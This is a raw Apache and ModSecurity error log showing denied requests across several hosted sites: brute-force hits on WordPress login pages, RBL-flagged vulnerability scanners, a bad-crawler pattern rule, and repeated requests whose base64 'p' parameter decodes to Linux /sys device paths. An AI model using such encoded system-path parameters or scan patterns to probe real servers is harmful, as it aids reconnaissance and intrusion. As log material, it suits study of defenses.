https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L2lk [Sat Jun 13 18:12:15.954397 2026] [security2:error] [pid 531155:tid 531197] [remote 17.241.75.222:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 222.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x3ymiP80klyS0NnoCxAABGik"] [Sat Jun 13 18:12:15.993107 2026] [security2:error] [pid 531155:tid 531198] [remote 50.87.144.169:25220] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 169.144.87.50.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "quieromifactura.biz"] [uri "/wp-login.php"] [unique_id "ai3x3ymiP80klyS0NnoCxgABfSo"] [Sat Jun 13 18:12:16.247160 2026] [access_compat:error] [pid 531797:tid 531876] [remote 57.141.14.95:63717] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:16.247619 2026] [access_compat:error] [pid 531797:tid 531876] [remote 57.141.14.95:63717] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:16.436877 2026] [access_compat:error] [pid 531797:tid 531875] [remote 57.141.14.12:36312] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:16.437139 2026] [access_compat:error] [pid 531797:tid 531875] [remote 57.141.14.12:36312] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:16.450792 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:12:16.451220 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:12:16.859237 2026] [security2:error] [pid 531155:tid 531242] [remote 17.22.245.118:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 118.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x4CmiP80klyS0NnoC1QABGFY"] [Sat Jun 13 18:12:16.939169 2026] [access_compat:error] [pid 531155:tid 531185] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:16.939441 2026] [access_compat:error] [pid 531155:tid 531185] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:17.075789 2026] [access_compat:error] [pid 531797:tid 531965] [remote 216.73.216.182:32721] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:17.076231 2026] [access_compat:error] [pid 531797:tid 531965] [remote 216.73.216.182:32721] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:17.207273 2026] [security2:error] [pid 531155:tid 531345] [client 172.56.168.133:31597] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3x4SmiP80klyS0NnoC3wAAAUY"] [Sat Jun 13 18:12:17.207616 2026] [security2:error] [pid 531155:tid 531345] [client 172.56.168.133:31597] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3x4SmiP80klyS0NnoC3wAAAUY"] [Sat Jun 13 18:12:17.305165 2026] [access_compat:error] [pid 531155:tid 531160] [remote 57.141.14.29:31373] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:17.305440 2026] [access_compat:error] [pid 531155:tid 531160] [remote 57.141.14.29:31373] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:17.430931 2026] [access_compat:error] [pid 531797:tid 531886] [remote 57.141.14.44:29259] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:17.431288 2026] [access_compat:error] [pid 531797:tid 531886] [remote 57.141.14.44:29259] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:17.475918 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:12:17.476200 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:12:17.481663 2026] [security2:error] [pid 531797:tid 531964] [remote 37.27.234.213:38682] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 213.234.27.37.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/wp-login.php"] [unique_id "ai3x4cTA7b1mZrmcA-80dgACT2Q"] [Sat Jun 13 18:12:17.636748 2026] [security2:error] [pid 531797:tid 531991] [remote 17.246.15.32:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 32.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x4cTA7b1mZrmcA-80fAACNn4"] [Sat Jun 13 18:12:17.740916 2026] [security2:error] [pid 531797:tid 531940] [remote 37.27.234.213:38682] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 213.234.27.37.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/wp-login.php"] [unique_id "ai3x4cTA7b1mZrmcA-80fgACTkw"], referer: https://bradgoreski.co/wp-login.php [Sat Jun 13 18:12:17.813820 2026] [access_compat:error] [pid 531797:tid 531938] [remote 57.141.14.44:29265] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:17.814245 2026] [access_compat:error] [pid 531797:tid 531938] [remote 57.141.14.44:29265] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:17.913671 2026] [core:error] [pid 531797:tid 532009] [client 47.79.201.176:61522] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:12:17.913698 2026] [core:error] [pid 531797:tid 532009] [client 47.79.201.176:61522] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:12:18.005669 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vbW91c2UyL3Bvd2Vy [Sat Jun 13 18:12:18.006113 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vbW91c2UyL3Bvd2Vy [Sat Jun 13 18:12:18.103837 2026] [access_compat:error] [pid 531797:tid 531980] [remote 57.141.14.108:25457] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:18.104293 2026] [access_compat:error] [pid 531797:tid 531980] [remote 57.141.14.108:25457] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:18.224435 2026] [security2:error] [pid 531797:tid 532055] [client 34.74.242.206:1543] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.buyclenbuterol-online.com"] [uri "/robots.txt"] [unique_id "ai3x4sTA7b1mZrmcA-80lAAAAk0"] [Sat Jun 13 18:12:18.224585 2026] [security2:error] [pid 531797:tid 532055] [client 34.74.242.206:1543] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "www.buyclenbuterol-online.com"] [uri "/robots.txt"] [unique_id "ai3x4sTA7b1mZrmcA-80lAAAAk0"] [Sat Jun 13 18:12:18.331406 2026] [security2:error] [pid 531797:tid 532038] [client 34.74.242.206:1555] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.buyclenbuterol-online.com"] [uri "/"] [unique_id "ai3x4sTA7b1mZrmcA-80lwAAAj0"] [Sat Jun 13 18:12:18.331532 2026] [security2:error] [pid 531797:tid 532038] [client 34.74.242.206:1555] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "www.buyclenbuterol-online.com"] [uri "/"] [unique_id "ai3x4sTA7b1mZrmcA-80lwAAAj0"] [Sat Jun 13 18:12:18.486551 2026] [security2:error] [pid 531155:tid 531221] [remote 17.241.75.10:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 10.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x4imiP80klyS0NnoC8QABM0E"] [Sat Jun 13 18:12:18.546340 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9tb3VzZTAvcG93ZXI= [Sat Jun 13 18:12:18.546715 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9tb3VzZTAvcG93ZXI= [Sat Jun 13 18:12:18.713138 2026] [security2:error] [pid 531155:tid 531169] [remote 17.22.253.85:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 85.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x4imiP80klyS0NnoC9QABNQ0"] [Sat Jun 13 18:12:18.740150 2026] [security2:error] [pid 531797:tid 531979] [remote 17.22.245.196:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 196.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x4sTA7b1mZrmcA-80ogACc3I"] [Sat Jun 13 18:12:18.814428 2026] [access_compat:error] [pid 531155:tid 531249] [remote 57.141.14.89:52810] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:18.814884 2026] [access_compat:error] [pid 531155:tid 531249] [remote 57.141.14.89:52810] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:18.835886 2026] [security2:error] [pid 531797:tid 531879] [remote 17.246.23.78:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 78.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x4sTA7b1mZrmcA-80pgACRQ8"] [Sat Jun 13 18:12:18.848137 2026] [access_compat:error] [pid 531797:tid 531929] [remote 57.141.14.36:65518] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:18.848421 2026] [access_compat:error] [pid 531797:tid 531929] [remote 57.141.14.36:65518] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:18.961833 2026] [core:error] [pid 531797:tid 532112] [client 47.79.201.192:22314] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:12:18.961853 2026] [core:error] [pid 531797:tid 532112] [client 47.79.201.192:22314] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:12:19.006410 2026] [access_compat:error] [pid 531155:tid 531194] [remote 57.141.14.38:57111] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:19.006893 2026] [access_compat:error] [pid 531155:tid 531194] [remote 57.141.14.38:57111] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:19.013541 2026] [security2:error] [pid 531155:tid 531206] [remote 185.61.154.206:55462] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 206.154.61.185.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "etqan-cpa.sa"] [uri "/wp-login.php"] [unique_id "ai3x4imiP80klyS0NnoC_AABfzI"] [Sat Jun 13 18:12:19.042183 2026] [access_compat:error] [pid 531155:tid 531253] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:12:19.042635 2026] [access_compat:error] [pid 531155:tid 531253] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 